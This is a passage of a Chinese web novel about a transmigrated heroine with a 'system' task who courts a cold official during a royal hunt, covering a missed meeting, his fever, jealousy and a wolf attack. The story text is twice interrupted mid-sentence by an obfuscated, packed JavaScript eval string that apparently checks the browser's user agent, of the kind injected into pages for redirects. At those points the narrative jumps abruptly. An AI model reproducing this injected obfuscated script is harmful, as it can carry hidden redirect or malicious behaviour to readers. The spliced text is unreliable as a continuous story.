这次那团窈窕的影子正在弯腰去捡什么东西。 邬涟喉咙发紧,说不出来是什么感觉,只觉得那个十分稀松平常的姿势却像是罂粟一般致命。 握住书卷的手指也突地开始发烫,他敛眸压下心中龌龊的想法,缓缓展平捏出褶皱的书页。 在帐内歇了会,长安忽然过来传话: “叶小姐,公子那有新鲜的桂花糕,你可要吃点?” 叶冬知趴在榻上翻看着从府中带的话本,闻言,喉间不由自主滚了滚。 此处离京城,就算坐马车也得有大半日的路程,新鲜的糕点倒是比山中野味还要难得。 但一想到昨日他的所作所为,她又没了心情。 “不吃。” 长安转身回去复命。 邬涟的帐内宽敞,所需物件一应俱全,帐内摆着一张梨花木桌,邬涟听完长安的复述,面不改色将手中公文批完。 须臾,他放下笔朝外走去。 不过几步,便到了她的帐外,他本想掀帘而入,但忽地想起昨夜她的态度,半空中的手又顿住了。 他抿唇,隔着帐布朝里开口,“这桂花糕只有一份,你若是不要,我便送给邬雯了。” 桂花糕是他一大早遣人下山买的,因着去的晚了,便只买到最后一份。 午间时大臣众多,一干公子小姐虽未与皇帝同席,隔着有些距离,但天子近前,大多人吃的战战兢兢,食不知味,叶冬知自然也不例外。 他买桂花糕一是存了让她消气的心思,二是让她填填肚子,解解馋。 叶冬知在帐内听见他的声音,未消的火气还堵在心头,语气比对长安更冲。 “我不要,你爱给谁给谁。” 话音落下,周遭寂然。 他斟酌了语气,才尽量和缓道,“你还在为昨日之事生气?” 然而里面的人却未再搭理他。 蜷在宽袖中的手指动了动,邬涟敛眸,长睫在眼下覆出一片失落的阴影。 在原地顿了片刻,终还是抬步离开。 长安默不作声跟在邬涟身后,睨着主子低垂的眼睫。 真是怪事啊。 主子何时低声下气哄过女子,被人甩了脸子也无可奈何。 不过也不能怪他家主子,毕竟这个年纪还没有过女人,对于情爱一窍不通也情有可原。 食过晚膳,叶冬知的气才终于消了些。 思来想去,她将自己收拾打扮了一番,准备去寻邬涟。 人在屋檐下不得不低头,谁叫她任务还没做完。 出了帐篷,只见邬涟的营帐漆黑一片,别说他的人影,连长安的人影也没见着。 巡守在他帐前的侍卫见她,恭敬唤了声,“叶小姐。” 她问,“你可知大公子去了何处?” 那侍卫思索一阵,道,“卑职不知。” 闻言,她面上略有失落,却听得那侍卫又道,“最近听说大人接手了一起迷案,正是忙的时候,兴许可以去尚书大人处看看,大人或许在那里。” 道过谢后,她转身回了营帐。 夜晚寒凉,她拿了件披风,又想起邬涟忙起来别说用膳,便是连口水也记不得喝,想着,她又拿了一个水囊。 她寻到议事的帐篷之时,里面的烛火隐约照出两个人影,一人敦厚,一人颀长。 等了半刻,在帐外不远处候着的叶冬知听得一阵窸窸窣窣的脚步声,见邬涟掀帘出了帐篷,神情冷峻,眉间有些疲惫。 她拿上提前准备好的披风和水囊朝着邬涟走过去。 许是光线昏暗,山中树林茂密,地势复杂,邬涟一时半会并没看见她。 待她正要从树影后出来时,一枚石子飞快地从她耳边擦过,接着,狠狠嵌入背后的树干之中,几片树叶也随之被震落。 她呆滞地立在原地,心脏怦怦乱跳。 见树后的人迟迟没有动静,邬涟手指攥紧一块石子,几步绕到树后。 却见树下立着叶冬知,那张娇容上泛着惊吓,她的怀中正抱着一件披风和一个小巧的水囊。 他收了警惕,像是有些意外:“......你怎么在这里?” 本以为她还气着,不愿见他的。 叶冬知狠狠瞪了他一眼,语气不满,“好心来看你,差点被你打瞎眼睛。” 邬涟眼睫微颤,欲解释,“我不知是你,并非故意。” 她将那件披风扔给他,“怎么不问问我为何来寻你?” 手中衣物质感温润光滑,抱在怀里时有一股淡淡的香味,是她身上的味道。 他微微抿唇开口,却被她有些不耐烦地接过话头,“这山上夜里凉,我见你这两日都只穿了一件单衣,想来怕你会冷,便给你送披风来了。” 随着这句话,他心头隐隐的焦躁被抚平,但他仍道,“不必,我已经习惯了。” 他本意是想说不用麻烦她跑一趟,可话到嘴边却比心中想的要更加疏离。 果然,身旁女子冷哼一声,“那水呢,你渴不渴,我也带了。” “不渴,我在方尚书处饮过茶了。” 这句也是实话。 话落,她噤了声,垂着头不知在想什么。 他垂眸看她,嘴唇张了张,最终又合上。 好像,他又说错了话,惹她不开心了。 叶冬知提着水囊,虽料到邬涟这人一惯冷淡,此前她也见过多次,但不知为何,最近几日她是怎么看他都不算顺眼。 人古板就罢了,怎么还这么木讷,她辛辛苦苦提着东西寻他,脚都走酸了,他竟然一点不领情。 果然,不如裴砚知情识趣。 思及此,她有些郁闷,拔掉水囊的塞子,自己喝了几口。 山上的风有些大,出来时并不觉得冷,这会倒是有些凉意了。 身侧邬涟站着没动,借着余光,她能清楚地感受到他的目光一直停留在她身上。 她没忍住打了个喷嚏。 他忽然倾身覆过来,熟悉的姿势,令她想起昨夜的不愉快。 叶冬知浑身下意识开始紧绷,不由自主后退半步。 直到—— 温暖轻巧的披风落在身上,身前的男人那双执笔写过策论的手、握剑斩杀过贼人的手,正略有些笨拙地为她系好披风的带子。 “好了。” 很轻的两个字,居然听起来有些温柔。 她一时有些无措,此刻,她自己也分不清到底是因为什么。 “......哦。” 她愣愣回了一声,然后顺着来时的路往回走。 刚行了几步,身后的人突然出声,“我渴了。” 她回头,有些纳闷,“方才不是说不渴吗?” “嗯,但是现在渴了。” 语罢,也不理会她莫名其妙的表情,伸手从她手中拿过水囊,抿了几口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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又一轮巡夜的侍卫从帐前走过,方令仪倚在榻上吃贡橘。 她吃了两瓣便没了兴致,随口问身侧的丫鬟,“现在什么时辰了?” 丫鬟低眉敛目回,“回大小姐,现在是戌时一刻,老爷应该还没歇息。” 方令仪翻身下榻,穿起鞋袜出了帐篷。 这是她长这么大第一次跟着父亲来这围猎之地。 本以为会多有趣,没想到在这里的第一晚就让她叫苦不迭,阴冷潮湿便罢了,夜间蚊虫更是惹人心烦,她现在身上已经不知道被咬了多少个疙瘩了。 她才待了一夜便受不了了,白日的时候她去寻父亲,想让父亲遣人送她回去,奈何父亲公务繁忙,一直不得空。 想必这会应当得闲了。 方家的帐篷扎在一处,她走了片刻,便到了方尚书的帐前。 从帐内依稀传来交谈的声音,向门口父亲的亲信打听过后,才知道是大理寺卿。 看来,又得忙一阵。 方令仪不满地踢着脚下的石子,丫鬟见状,小心翼翼询问,“小姐,既然老爷还在忙,不如我们先回帐篷吧。” 今夜天气尚好,月亮高照,繁星闪烁,方令仪抬头望了一眼,改了主意,“算了,我就在附近走走,晚些再回去。” 丫鬟应了,跟在她身后。 朝中重臣都安排了好几批侍卫轮流守卫,是以方令仪越走越远却并不担忧安全。 她站在一处坡地,忽然在一片树影中看到了一个熟悉的背影。 虽然月色明亮,但那身影并不十分明晰,只是那身影过于漂亮,让她不得不注意到。 心中好奇,她蹑手蹑脚向着那处树影走去,越离得近,她便越小心。 大概还有五十步的距离,她不敢再靠得更近了,但这也足够她看清楚这背影到底是谁。 她顿时瞪大眼睛,差点发出一声惊呼。 是邬涟。 但这并不是让她如此震惊的原因,真正让她惊讶的是,邬涟怀里竟然搂着一个女子! 京中谁人不知邬涟洁身自好,克己、冷漠,性格孤僻。 虽眼馋他的姑娘不少,但因着他从刑部传出来的活阎王名声,倒是鲜有人敢对他示好。 他这样的人,眼里只有刑法与规矩,从来没人想过他有这般柔情的一面。 他怀中的姑娘娇小单薄,被他珍视地搂在怀中,从他生硬的动作可以看出,邬涟此前应当从未与他人这般亲近过。 方令仪屏住呼吸,然后看见他怀中的女子缓缓抬起头来。 借着月色,那张妖媚的脸让她心中忍不住冷哼。 呵,果然是她。 前些日子她就觉得这叶冬知是个不安分的,现在被她撞了个正好。 一想到她在众目睽睽下被邬涟赶出侯府,她心中的怒火至今仍不能平。 若说此前她对邬涟存了些爱慕,可那之后她对他只有怨恨。 说到底,她方家世代清贵,她一个重臣嫡女还配不上他这个野种了? 还不是那邬涟不识好歹。 眼下二人的把柄被她亲眼所见,她倒要看看两人如何辩解。 她心下有了思量,默不作声悄悄离去。 身后经过方尚书的帐篷时,丫鬟提醒她,“小姐,现下老爷帐中好似没人了,您要进去吗?” 既然要等着看那二人的好戏,她自是不能现在就离开,于是道,“不了,直接回去吧。” 31. 第 31 章 哭累了,叶冬知从邬涟怀中抬头,撞进他漆黑的眼瞳。 他不吭声,就静静看着她。 离得太近,她能轻而易举地感受到他的呼吸,裹着他身上的清浅檀香一齐落在她的面上。 从邬涟的视角看去,她的妆容早就花了,腮粉裹着胭脂,在眼泪的冲刷下留下两道明显的痕迹。 纤长的睫毛还湿着,一簇簇沾在一起。 明明该是看着有些可笑的,但他却笑不出来,只觉胸口充斥着难言的涩意。 他开口,“下次你若要见我,告知长安便是,不必亲自来寻,我忙完之后自会寻你。” 她低低“嗯”了一声,目光落在他胸前的衣襟上。 那里因被她大力扯住,已经乱得不成样子,衣领接触到脖颈的地方,被勒出了红痕,落在他皙白的肌肤上格外显眼。 她脑中不算清明,伸手触了触他那处肌肤,喃喃,“红了。” 闻言他将衣领整理好,淡声,“无妨,明日便会消散。” 她点点头也没再说什么,二人一路无言回到歇息的营帐。 次日。 西凤山猎场开放,所有人可自由狩猎,猎得最多者可受皇帝赏赐。 一大早,邬涟与邬彦便出发了,就连邬雯也跟着几个千金去了女子围猎场。 男子围猎场中多是麋鹿、野猪等大型野兽,是以虽说是自由围猎,但去的多半是有功夫傍身的;至于女子围猎场,便多是一些兔子之类更为温顺的动物。 叶冬知不善骑射,亦是不敢兴趣,便在帐篷中待了一天,闲暇时便在周围逛逛。 临近傍晚的时候,世家子弟们才陆陆续续回来。 叶冬知虽没出帐篷,但一直留心着外面的动静。 昨夜回去后,她写了张字条,让阿蔷明早便交给长安。 字条上的内容是约邬涟今夜小竹峰相见。 就是不知道他记着这件事没。 小竹峰风景甚美,她正好用此地借花献佛,用来巩固一下和邬涟之间的关系。 前两日她心头憋着气,没仔细想邬涟种种行为的原因。 昨夜回去后,她消了气,才有心思一点点来理清楚。 想到最后突然发现,大约是邬涟对她动心了,才会这样生气。 只是这其中有几分是为他义父,有几分是为他自己,就不得而知了。 于是,她才有了这个计划,约他一见,好探探他的心意。 又在帐内坐了一会,旁边一直熄着灯,没见有人回来。 她有些着急,便出了帐篷,远远看见有个人向着这个方向走了过来。 身姿高大挺拔,她原以为是邬涟回来了,心头升起点雀跃。 可等那人走近了才发现,原来来的人是裴砚。 他穿着骑装,墨发被玉冠束起,额间一条镶着金边的殷红抹额,手上正提着一只毛茸茸的雪白兔子。 少年笑着开口,露出唇边虎牙:“你看,这是今日我在林中捕到的兔子,我看其他小姐都很喜欢,所以给你带了过来。” 兔子的毛发雪白莹亮,没有受伤,用一双黑珠子一般的眼睛盯着她。 自从上次的事过后,她便已打定主意与裴砚保持距离,免得邬涟再次发疯。 听他说完,她客气地笑了笑,“我记得你说你有个姐姐,这是你亲手猎得的,不若带回去给你姐姐。” 裴砚却失笑摇头,“姐姐不爱这些,素日最喜读书礼佛。” 他来时心中欢喜,想着这只兔子毛色油亮,四肢圆润,当是上乘,她应当会很喜欢,因此便也没听出她话中暗藏的疏离。 只当是她害羞,于是又说,“放心吧,我姐姐什么都不缺。” 说着,他示意她伸手摸摸兔子的毛发。 即便叶冬知心中有思量,但她向来对这样毛茸茸的小动物没有抵抗力。 见她面上露出惬意,裴砚定定看了她会,“喜欢的话,这次围猎结束可以带回府中养着。” 她抚着兔子,心下却想。 若是被邬涟知道这只兔子的来历,怕是又免不得一顿麻烦。 思及此,她收回了手,找了个还算合理的由头,“不了,我没养过,怕养不好。” 裴砚闻言点点头,忽而抬起头,眼神发亮地盯着她,“那我带回去养着,若是你想看,来我府上找我便是。” 待送走了裴砚,天色已经渐渐黑了下来,眼见邬涟竟还没有回来,她一时有些不太确定。 若是邬涟忘记了这件事,她现在去赴约会不会显得有点可笑。 但是她主动的,如果她不去,不就说明她言而无信了吗? 小竹峰离这里并不远,她凭着记忆还是很快到了约定的地点。 这里视野极好,天边璀璨霞光一览无余,站在山顶,竟有一览众山小的感慨。 唯一美中不足的是,并没有邬涟的身影。 她一人坐在山头耐心等待,直到夜色降临,漫天星光遍布天际,仍旧没有见到邬涟。 渐渐地,她有些不耐烦了。 一开始还抱着欣赏风景的心情,后面却被蚊虫的叮咬所烦恼,她一人孤零零坐在上头,后知后觉她大概是被放鸽子了。 也是,说不定别人对她本来没多少意思,只是出于身份才对她严苛管教,是她自作多情了。 想到这,叶冬知越想越气,索性下了山,等寻了机会,她要回去好好质问一下他。 当她踏着雾气回到帐篷处时,邬涟的帐内依旧漆黑一片。 而此时的小竹峰,并非空无一人。 山顶正站着一人。 月色弥漫,圆月洒下银辉笼罩在邬涟的身上,令他周身像是腾起一阵雾气。 他还穿着官服,绯红色的衣袍,衣摆处被山间草木的露珠沾湿,浸出星星点点深色的痕迹。 今日,天子召见,一时间议事得晚了些。 他怕误了时辰,挑了小路上山,谁知,他满怀期待地登上山顶,连她半个影子也未见到。 他记得,她字条是这个时候。 山间散落的帐篷,从一开始的灰暗到发出澄黄色的烛光,再到如今悉数尽灭。 邬涟立在原地,未曾开口。 一侧长安被蚊子咬的受不住了,从开始到现在,公子已经在这等了将近两个时辰,他苦着脸道:“公子,咱们先回去吧,这马上都子时了。” 邬涟垂下长睫,盖住眼中的神色,“再等等。” 长安不敢有怨言,在心底叹了口气,这叶小姐真是害惨公子咯。 山顶的风很大,吹得袖袍猎猎作响,夜晚的凉气如蛇一般蹿上脊背,邬涟向着山下看去,几乎所有人都已入了榻,唯有侍卫还举着火把在外巡逻。 雷声从远处传来,乌云渐渐遮住清月,一阵淅淅沥沥的雨倾斜而下,砸落在他的肩上,没入墨发之间。 不过片刻,他身上的薄衫就被雨浸湿,贴在肩背之上。 一滴雨珠坠在他的长睫之上,他手指冰凉,心头像被人投进冰块。 他薄唇紧抿,雨水顺着面颊聚集在他的颌尖,最终终于如断线的珍珠,争先恐后地坠落。 骗子。 她又一次骗了他。 * 叶冬知醒来的时候,收拾好自己,见到旁边邬涟的帐篷出来个背着药箱的大夫。 她心中感觉不妙,连忙拉住大夫问道:“大公子怎么了?” 那大夫见到她的脸有一瞬的晃神,接着很快反应过来道:“昨夜淋了雨,现下正发着高热呢。” 她心中一个咯噔,今早起来听阿蔷说,下雨都是后半夜的事情了,邬涟他在哪里淋的雨? 她伸手便撩了帘子想要进帐篷,但长安却拦着她不让她进去,就连脸色也不太好。 他冷声道:“您回去罢,公子现在不想见你。” 长安这样一说,她心里更没底,趁着长安不注意,她还是进了帐篷。 帐内简易的榻上,邬涟正躺着,墨发被散开,双手交叠在身前。 规矩、仪态无可挑剔,即便是睡着了也没有一丝一毫的松懈。 他的脸色比平日苍白,让他本就瓷白的肤色,如今看起来有几分像脆弱的白纸。 两颊泛着不正常的红晕,嘴唇失了光泽,有些干涩,就连眉头也紧紧皱着,像是梦见了令他惶恐不安的事情。 她伸手想去探探他额头的温度,将要碰到的时候却被一股大力打开。 她惊讶看去,见邬涟不知什么时候已经睁开了眼睛,那双眼上遍布着红血丝,眼下呈现出淡淡的乌青,看起来像好几天都没有休息好了。 鸦羽般的长睫低垂着,眸色冷到极致,偏偏唇却很红,让他看起来有几分奇异的阴鸷和妖异。 这般冷的神色叶冬知很熟悉,那是她刚穿越到这个世界的时候,邬涟待她便是如此态度。 “别碰我。” 他开口,声音干涩沙哑,语气冷漠疏离。 帐内有一瞬的静默。 叶冬知有些尴尬地将手收回,她坐在帐内半晌,余光瞥着他已经将头偏开,似是不愿见她。 “出去。” 他再度开口。 她知他此时情绪有些不对劲,开口时斟酌着语气,尽量让自己显得温和,“我只是想问问你如何把自己弄成这样,还有——” 没等她说完,他就打断了她的话。 “我再说一次,现在,即刻出去。” 连被人下两次逐客令,叶冬知脸色也算不上好看,待他说完便掀帘出去了。 她回了自己帐内,沉着脸,心头憋着口气。 明明她什么都没做,也不知道哪里惹他生气了。 那他昨夜还放了她鸽子,害得她一个人在山上喂了那么久蚊子,怎得不见他有一丝半点的愧疚。 他倒好,成日没事便耍他的大少爷脾气,动不动就给她甩脸子。 真当她爱惨了他吗? 若是哪天这烂系统突然消失,他且看她会不会再多搭理他。 正暗自腹诽着,脑中突然响起系统的声音。 冷冰冰的机械音毫无感情地发布任务: 【新任务:照顾生病的攻略目标。】 这回系统没急着催她,她在帐内歇了好一会,才开始思索寻个什么样的由头再去找他。 想得烦了,她出帐在林中走了一会。 想到之前遇到了蛇,这次她倒是没走太远。 周围人声渐渐嘈杂起来,一群世家子弟皆穿着锦衣华服从一条山路下来。 见此,叶冬知掉头准备回去。 山路有些崎岖,七拐八绕,她心头还想着事,拐过一处山角,猝不及防与对面撞在了一起。 浓重的血腥气霎时钻入她的鼻腔,同时而来的,还有一股恶臭。 那是一种许久没洗身子,腐烂的脓液与肮脏的湿泥混在一起的味道。 叶冬知猛地抬头后退一步,扶着胸口堪堪憋住心头的恶心。 她朝前看去,映入眼帘的首先是一头蓬乱的头发,紧接着是一张布满了伤痕与干涸血迹的脸。 这是张少年的脸,肤白得妖异,瞳孔是浅灰色,一双凤眼内勾外翘,睫毛微微下垂,前疏后密,看着像是一道精心描画的眼线。 仅仅只露出了半张脸,就令叶冬知有一刹那忘记了呼吸。 他的下半张脸被一张脏污的破布紧紧裹着,发不出一点声音。 见到对面的人看他,他惶恐地把头低下去,如此乖顺又惧怕。 “你个畜生,眼瞎吗,又冲撞了贵人!” 少年被身后肥头大耳的年轻男人一脚踹在后腰,“噗通”一声跪在了地上。 年轻男人瞥见叶冬知,愣愣盯着她看了几秒,眼里有不加掩饰的惊艳,“本世子这奴隶才买来,还不太懂事,冲撞了小姐,小姐是哪家的?改日我本世子必登门致歉。” 语罢,又狠狠踹了一脚地上的少年,“愣着干嘛,赶紧磕头给贵女道歉。” 少年虽跪着,却无论如何也没低下头,单薄瘦削的脊背裹在单薄破烂的衣衫里,却依然笔直。 男子见对方不听话,又接连踢了好几脚,一脚比一脚重,直踢少年背后渗出新鲜的血水,最后一脚更是重重踩在少年的后脑勺上,迫使他低下头去。 叶冬知心中不忍,有些看不过去,别开眼道,“我并未与他计较,就算了吧。” 她垂眸,对上少年从下至上望来的眼神,一片空洞死寂。 男子见此,放开了少年,理了理自己的衣衫,直勾勾盯着叶冬知道,“既然小姐不计较,那本世子便也放过这畜生。” “对了,你方才还没回答你是哪家的呢?” 叶冬知抿唇没有说话,脑中却在快速思索男子的身份。 双十年纪,身形臃肿,嚣张跋扈,自称本世子的便只有一人。 当今异性王安南王早年多年无子,年过半百才得了一子,从小便是含在嘴里怕化了,惯得无法无天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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回到帐中整理了一番仪容,再到伙房时,小哥已经把冰糖炖雪梨做好,她顺势往脸上和手上都抹了点烟灰。 当她端着精致的盅到邬涟的帐篷外,不出意料地,拦住她的依旧是长安。 “叶小姐还请回,公子这两日身子不好,不见外人。” 似是有些意外,她低声重复了最后两字,“外人?” 此前,邬涟没少借着未来主母的名头训斥了她好几回,那时候怎么不把她当外人? 她压住火气,在心头默念自己只是来完成任务的,这样一想,心下平静许多。 再开口时笑得温柔,“我见大公子似乎老是咳嗽,便去给他做了这冰糖炖雪梨,有止咳润肺的功效。” 长安面不改色瞥过那碗东西,仍道:“多谢叶小姐一番好心,您还是自己留着喝吧。” 叶冬知权当做没听见,她今天还非要进去。 她意图绕过长安,像上次一般挤进帐篷,而长安这回显然是有了准备,几个回合下来,她一边要顾着盅里的东西,硬是没找到空子。 屋内忽然传来邬涟的声音,吸引了帐外两人的注意。 “长安,进来替我研磨。” 长安闻言,立马转身进了帐篷。 她面无表情想,邬涟是故意的。 谁会相信,离得这么近,他怎么会没听见她与长安的争执。 却偏偏只叫了长安一人。 她怀着怨气掀帘进了帐内。 邬涟已经从榻上起来了,看来药效不错,不过半日,他便已经退了高热,能够坐起来批阅公文了。 听见她的脚步声,对方坐在桌前,身上披了一件披风,正书写着什么,连眼皮都未抬一下。 她端着东西走近几步,将盅放在邬涟的书案之上:“这是为你熬的冰糖炖雪梨,还热着呢。” 闻言,邬涟总算是有了一点反应,他搁下笔从书案中抬起头来,看见她脸上的烟灰,眉头微皱,“我不喜甜食,拿回去吧。” 叶冬知解释:“知道你不喜欢,里面只加了一点糖。” 邬涟不语,继续低头书写,任由她看着那碗热气腾腾的冰糖雪梨逐渐变凉。 她终于坐不住了,埋怨道:“你到底喝不喝?” 邬涟看了那盅一眼,淡声道:“长安,倒了。” “你!” 叶冬知顿时从椅子上弹了起来,她咬牙:“邬涟,你别欺人太甚!” 饶是她怒火中烧,可那碗东西仍在她眼皮底下被长安端着出去了,片刻之后,只剩下一个空碗。 她几步走到邬涟的桌案前,撑着桌沿,上半身微倾,语气愤怒,“你什么意思,我好心给你送东西,你就这般糟践?” 邬涟丝毫不惧,端起一侧的茶盏慢条斯理地抿了一口,视线落到她沾满烟灰的手上,颇有些嫌弃道:“手很脏。” 看见他面上毫不掩饰的唾弃,就连语气也冰冷非常,她心头有点闷。 她站直了身子,语气倒是没有先前那般强势,只好似有点委屈:“你真是狗咬吕洞宾,不识好人心。” 说完,她便再也没有看邬涟,一股脑跑了出去。 身后邬涟的笔尖顿在半空,墨水滴落在信笺上,瞬间晕染成一大片。 然片刻之后,他将信纸揉成一团,又拿起新的一张,续写起来。 面上并无多少变化。 到了晚上,四周一片静谧,邬涟处理完手中的要务,视线扫过一侧的帐篷。 一片漆黑,也不知她是不是睡着了。 半晌,他垂了长睫,开口道:“去看看回来了没。” 长安心领神会,径直走出帐篷,发现就连阿蔷竟也未在,一时心中疑惑,便询问了周边巡逻的侍卫,才回去复命。 帘子被长安掀开,邬涟却先开口了,“回来了吗?” 长安顿了顿,睨了睨自家主子的神色,才小心翼翼道:“没有。” 邬涟手微顿,语气平平,“去哪里了?” 长安嗫嚅了半晌,终是吞吞吐吐道:“说是寻裴公子去了。” 室内陡然陷入一片死寂。 长安不敢抬头,只能盯着一旁不断跳跃的火光,映照出桌案边扭曲疯狂的人影。 片刻之后,帐内响起一声辨不出喜怒的悠长轻呵。 “呵。” 32. 第 32 章 裴家营地。 裴家人丁稀薄,此次来围猎的只有裴太傅与裴砚二人。 裴太傅年逾六十,身子不大好,喜好清净,是以裴家的帐篷都扎在偏僻宁静之地。 帐外,叶冬知踹着脚下的石子,泄愤一般,一次比一次力道大。 邬涟就和这块石头一样,冷心冷清,任她如何都巍然不动。 本来她是想尽量不打扰裴砚的,但她不认识几个人,眼下心里又实在堵得慌。 身侧裴砚看不过去,拦住她的动作,“别踹了,等会鞋踹坏了,你怕是只有光脚回去了。” 闻言她停了动作,忽然说,“你说一个人对另一个人关怀备至,明明什么也没做错,但另一个人却总是甩脸色,说话也夹枪带棒的,你觉得这个人心里怎么想的?” 裴砚一听便知她在说谁,心下有些失落。 上次他与邬涟正面交锋,他虽语气肯定,指责邬涟对叶冬知必定别有心思,但观其言行,并无一丝一毫逾矩。 事到如今,他也有些拿不准了,但他私心不希望她一颗心全系在邬涟身上。 那样的人,太冷清,不会爱人,也不懂爱人。 于是,他认真道,“也许他根本就不需要另一个人的关心,对于他来说,是负担,是累赘。刚开始他还能够客气拒绝,但若是另一个人没有知难而退,那这个人兴许会用更为恶劣的态度去驱逐另一个人。” 添油加醋,挑拨离间,非君子所为。 这是他十九年来第一次做。 叶冬知听完,没有再开口。 累赘?负担? 她不由得回想起与邬涟的过往。 印象中,他没有亲口承认过对她有别的心思,她所记得的,感受最多的,是无穷止的拒绝。 偶尔他对她有过些许温和,但那实在太少了。 她突然觉得有点迷茫。 也许,裴砚说的确有几分道理。 今夜夜色昏沉,裴家营帐前有侍从手持灯笼,几步远的地方,一男一女相对而立。 邬涟驻足看了片刻,玄色大氅厚重垂顺,将他略显清瘦的身子裹在其中。 他未束发,长发自两边散落,垂至腰际。 上午才褪了高热,眼下他没怎么进食,又加上操劳半日,头发遮住脸颊两侧,在脸上打出一大片阴翳。 露出的部分,脸色却比今早更苍白。 赫然望去,他立在夜晚的树影中,悄无声息,眼神紧紧锁住一处,恍若夜半觅食的野鬼。 周遭静谧,叶冬知也准备告辞,她抬头看向裴砚,“不早了,叨扰你了,我先回去了。” “好,早些歇息。”少年顿了顿,又道,“山中路滑,我送送你吧。” 她刚要拒绝,忽然感觉有一道怪异的视线落在自己身上。 让她顿时毛骨悚然。 她慌忙侧目看去,却见周遭平静,并没有人。 心口无预兆地跳了跳,她心里有些发毛,出口的话改了主意,“那好,麻烦你了,裴公子了。” “不过,送至半路就好,我不想你与邬涟再起冲突。” “嗯,我省得。”语罢,裴砚从侍从手中接过灯笼,落后她半步跟在身后。 大约离永定侯府营帐处还有些距离的时候,裴砚便嘱咐几句离开了,将灯笼留给了她。 她穿行在各个帐篷之间,在即将回到自己的帐前时格外小心。 邬涟的帐篷一片漆黑,看来是已经睡了。 她放轻脚步,从他帐前经过。 此刻风起,风穿过林木形成风啸,裹挟着泥土和草木的味道,弥散在这片空间里。 但在这其中,有一股极浅的檀香,越来越近。 因为太近,甚至显得有些浓烈。 “回来了。” 一句有些阴沉的低语霎时在她耳边响起。 她惊恐地回过身,入目是披散的满头长发,随着对方的微微倾身,那些发尖便逶迤地落在她的身上。 “今日回来得好晚。” 他又说了一句。 叶冬知后退一步,才从那令她有些窒息的檀香中抽身出来。 她抬头望去,面前的人让她既熟悉,又觉得全是陌生。 他比她高了一头不止,站在她面前时,恰好挡住他身后隐约的月光。他脸上没什么神色,平静非常,那双眼墨色尤沉,唇紧紧抿着,令唇上的血色也极速褪去。 像在隐忍着什么。 “在外面多逛了一会,没想到就这个时辰了。” 她低声解释,本能地偏过头去,不想与他对视。 白日的邬涟总是戴冠束发,一丝不苟,冷清的眉眼和瘦削的面部轮廓让他看起来清冷出尘,恍若不可亵渎的天上掌管刑法的神祇。 唯一一次见他散发,是不久前,但那时她并不觉得与白日的他有何分别。 但今日,好像一切都与往日不同。 应答完后,她便要转身钻进帐篷,身后的男子立在原地巍然不动。 可她无论如何也忽视不了背后如芒在背的视线。 直到她钻进帐篷,才真的松了一口气。 邬涟目送她的背影消失,下颌绷紧,脖颈处的经脉不受控制地骤然抽动。 半晌后,他的手轻轻捋了一下被风吹得散乱的发,手指一下一下敲打在他胸前的衣襟上。 她又撒谎了。 而且,好似还有点......怕他。 一点都不听话。 他明明说过的。 帐内。 叶冬知连忙点了灯,才觉得那股怪异消散些许。 阿蔷服侍她洗漱上榻,她裹在被子里,心中有些惴惴不安。 她一边想着攻略的事,一边想着邬涟捉摸不透的态度,昏昏沉沉睡着时,已是后半夜了。 雷声滚滚,雨水淅淅沥沥落下,打在帐篷上显得格外闹人。 叶冬知睁开眼时,外面虽天亮,但泛着昏沉和压抑,连带着帐篷里也有些暗。 她净面漱口,用了早膳,身子还有些疲乏。 今日,她本不打算再出去了,就在这里面待上一天。 数数日子,大约还有十余天,围猎便要结束了。 阿蔷给她点了灯,让她看话本子的时候不会伤到眼睛。 这场雨一下就是两个时辰,直到午时也没有丝毫变小的趋势。 “叶小姐!叶小姐!” 外面忽然响起一声呼喊,声音凄然焦急。 阿蔷掀了帘子出去看,很快便回来道,“小姐,好像是三小姐身边的丫鬟,墨香。” 话音刚落,那墨香喊得更厉害了,“救命!叶小姐,我家小姐出事了!” 叶冬知递了个眼神,阿蔷心领神会,将人领了进来。 那墨香一身都湿透了,身上全是泥,跪在地上哭喊道:“您快去救救我家小姐吧,小姐她被狼拖走了!” 时至今日,叶冬知依然不想掺和邬雯的事,但毕竟人命关天,她还是多问了句。 “找我有什么用,你不去找大公子和二公子,他们才能救你家小姐。” 那墨香哭得嗓子都哑了,头在地上磕得砰砰作响! “不是奴婢不想,大公子与二公子今日都不在,便是想救只怕也来不及了!” 闻言,叶冬知也知此事非同小可,让阿蔷去给邬涟递个口信,她自己寻了几个有功夫的侍从带着墨香先去了。 雨还在下着,山上的路更是泥泞难寻,寻了好一阵,只在路边看到邬雯落下的一只鞋,鞋边还有一滩被雨水冲淡的血迹。 顺着血迹,经过一堆杂草丛生的树丛,才看到躺在泥地里的邬雯。 她苍白着脸昏倒了,浑身被雨水浸透,身上有密密麻麻细小的伤口,最严重的还是左腿,正不断往外渗着血迹。 而她之所以暂时还没吃掉的原因是,她身侧不止一头狼,而是两头狼在互相对峙,似乎在争抢这个已经受伤的猎物。 墨香看到邬雯暂时安然无恙,刚想大叫一声,就被叶冬知捂住了嘴。 她低声,“你要是叫出来,被那两头狼发现,恐怕我们全都活不了。” 墨香惊恐地点头。 叶冬知放开她,默不作声观察着两头狼,两头应都是雄性,高大健壮,凶恶无比,就凭借身后几个侍从,估计胜算不大。 除非—— 她回头,看见有两人身后背着箭囊,以及轻巧的弓。 “谁箭术好?” 其中两人指了指自己。 她低声凑近五个侍从,“正面硬拼胜算不大,你们两个从两边射箭,一定要让这两只狼重伤,其余几人负责吸引狼的注意。” “那躺着的是永定侯的独女,若是你们这次救下了她,以后荣华富贵自然不必说。” 重赏之下必有勇夫,几人思索后重重点头。 许是有些雨声的掩盖,那两头狼互相嘶吼着,并未发现其他异样。 几块石头突然击中两只狼,猝不及防的攻击顿时让它们警惕起来。 